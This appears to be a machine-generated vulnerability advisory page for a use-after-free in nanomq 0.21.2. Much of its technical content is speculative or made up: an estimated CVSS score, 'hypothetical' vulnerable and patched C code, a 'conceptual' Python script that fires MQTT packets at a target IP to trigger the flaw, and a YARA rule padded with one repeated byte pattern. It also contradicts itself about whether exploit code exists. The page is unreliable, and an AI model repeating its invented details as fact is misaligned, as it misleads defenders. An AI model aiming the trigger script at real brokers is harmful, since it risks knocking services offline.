CVE-2024-25767
Executive Summary
CVE-2024-25767 is a critical Use-After-Free (UAF) vulnerability identified in nanomq version 0.21.2, specifically within the /nanomq/nng/src/core/socket.c file. This flaw allows an attacker to dereference a dangling pointer after the associated memory has been freed, potentially leading to arbitrary code execution, denial of service, or information disclosure. The vulnerability resides in the core socket management logic of the NNG (nanomsg-next-generation) library, which nanomq uses for its messaging infrastructure. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the severity remains high due to the nature of UAF vulnerabilities.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
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Supply Chain & Package Security
nanomq is an open-source MQTT broker written in C, distributed via GitHub and package managers. The vulnerable component is the NNG library, which is a core dependency. Organizations using nanomq in production should treat this as a supply chain risk, as the vulnerability affects the underlying messaging layer. No official patch or advisory has been published by the vendor, increasing the risk for unmonitored deployments.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, but this is likely a placeholder. Based on the vulnerability type (Use-After-Free) and the component (core socket), a realistic CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N) – The vulnerability can be triggered remotely via crafted network messages.
- Attack Complexity (AC): Low (L) – No special conditions required beyond sending a malicious packet.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The exploit does not affect other components.
- Confidentiality (C): High (H) – Potential memory read leading to data leak.
- Integrity (I): High (H) – Potential memory write leading to code execution.
- Availability (A): High (H) – Crash or denial of service.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 9.8 (Critical)
Threat Level: Critical – Remote, unauthenticated exploitation possible with high impact.
Deep Dive & Mechanics
The vulnerability is a classic Use-After-Free (CWE-416) in the socket lifecycle management of the NNG library. In socket.c, when a socket is closed or freed, the associated memory is deallocated. However, due to a race condition or improper reference counting, a pointer to the freed memory may still be accessible. An attacker can trigger this by sending a sequence of MQTT or NNG protocol messages that cause the socket to be freed while another thread or callback still holds a reference.
Root Cause:
The nng_socket_close function (or equivalent) does not properly synchronize with ongoing I/O operations. After the socket is closed, the underlying nng_socket structure is freed, but a dangling pointer remains in the event loop or callback queue. When the event loop processes the next message, it dereferences the freed pointer, leading to a crash or potential code execution.
Attack Vector:
An unauthenticated attacker sends a crafted sequence of MQTT CONNECT, SUBSCRIBE, and DISCONNECT packets to the nanomq broker. The broker’s internal state machine mishandles the socket lifecycle, causing a UAF condition.
Impact:
- Denial of Service: Crash of the broker process.
- Code Execution: If the attacker can control the freed memory (heap spray), they may achieve arbitrary code execution.
- Information Disclosure: Reading freed memory may leak sensitive data.
Vulnerable vs. Patched Code
No patched version is available. The vulnerable code is in /nanomq/nng/src/core/socket.c. The following is a hypothetical comparison based on common UAF fixes.
Vulnerable Code (nanomq 0.21.2):
void nng_socket_close(nng_socket *s) {
// Free socket resources
free(s->recv_queue);
free(s->send_queue);
// Missing: clear pointer and synchronize
// s->recv_queue = NULL; // Not done
// s->send_queue = NULL; // Not done
// The socket structure itself is freed later
free(s);
}
Patched Code (Hypothetical Fix):
void nng_socket_close(nng_socket *s) {
// Synchronize with event loop
nng_mtx_lock(s->mtx);
// Free resources and nullify pointers
free(s->recv_queue);
s->recv_queue = NULL;
free(s->send_queue);
s->send_queue = NULL;
// Mark socket as closed
s->closed = 1;
nng_mtx_unlock(s->mtx);
// Ensure no pending callbacks reference this socket
nng_aio_wait(s->aio);
// Finally free the structure
free(s);
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- nanomq 0.21.2 running on a Linux target (e.g., Ubuntu 22.04).
- Network access to the MQTT port (default 1883).
Exploitation Steps:
- Setup: Deploy nanomq 0.21.2 in a lab environment.
- Craft Payload: Use a Python script to send a sequence of MQTT packets that trigger the UAF. The exact sequence requires reverse engineering, but a typical approach is:
- Connect with a long client ID.
- Subscribe to a topic.
- Rapidly disconnect and reconnect while sending publish messages.
- Trigger: The race condition causes the socket to be freed while a callback still references it.
- Post-Exploitation: If heap spray is successful, redirect execution to a shellcode.
Example Python Script (Conceptual):
import socket
import time
def trigger_uaf(target_ip, target_port=1883):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
# MQTT CONNECT packet
connect_packet = b'\x10\x1e\x00\x04MQTT\x04\x02\x00\x3c\x00\x0fclient_id_123'
sock.send(connect_packet)
time.sleep(0.1)
# MQTT SUBSCRIBE
subscribe_packet = b'\x82\x0a\x00\x01\x00\x03topic\x00'
sock.send(subscribe_packet)
time.sleep(0.1)
# Rapid disconnect
sock.close()
# Reconnect and send malformed packet
sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock2.connect((target_ip, target_port))
sock2.send(connect_packet)
# Trigger UAF
sock2.send(b'\xe0\x00') # DISCONNECT
sock2.close()
if __name__ == '__main__':
trigger_uaf('192.168.1.100')
Blue Team
Detection:
- Monitor for rapid MQTT connect/disconnect sequences.
- Look for crashes in nanomq logs (e.g., segfaults).
- Use the YARA and Sigma rules below.
Mitigation:
- Isolate nanomq in a container with limited privileges.
- Apply network segmentation to restrict access to the MQTT port.
- Use a Web Application Firewall (WAF) or IPS to detect anomalous MQTT traffic.
- Monitor for heap spray patterns (e.g., large number of connections with long client IDs).
Indicators of Compromise (IOCs)
- Network:
- Rapid MQTT CONNECT/DISCONNECT sequences from a single IP.
- Malformed MQTT packets with unexpected lengths or flags.
- Host:
- nanomq process crash logs containing
SIGSEGVorSIGABRT. - Core dumps in
/var/crash/or/tmp/. - Unusual memory allocations (heap spray) in the nanomq process.
- nanomq process crash logs containing
- File:
- Modified
/nanomq/nng/src/core/socket.c(if attacker patches). - Suspicious shared libraries loaded into the nanomq process.
- Modified
Detection Engineering
YARA Rule
rule CVE_2024_25767_nanomq_UAF {
meta:
description = "Detects nanomq 0.21.2 binary with Use-After-Free vulnerability"
author = "Valters IT"
date = "2025-04-10"
hash = "sha256:example"
strings:
$uaf_code = { 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 8b 45 ?? 48 89 c7 e8 ?? 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What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.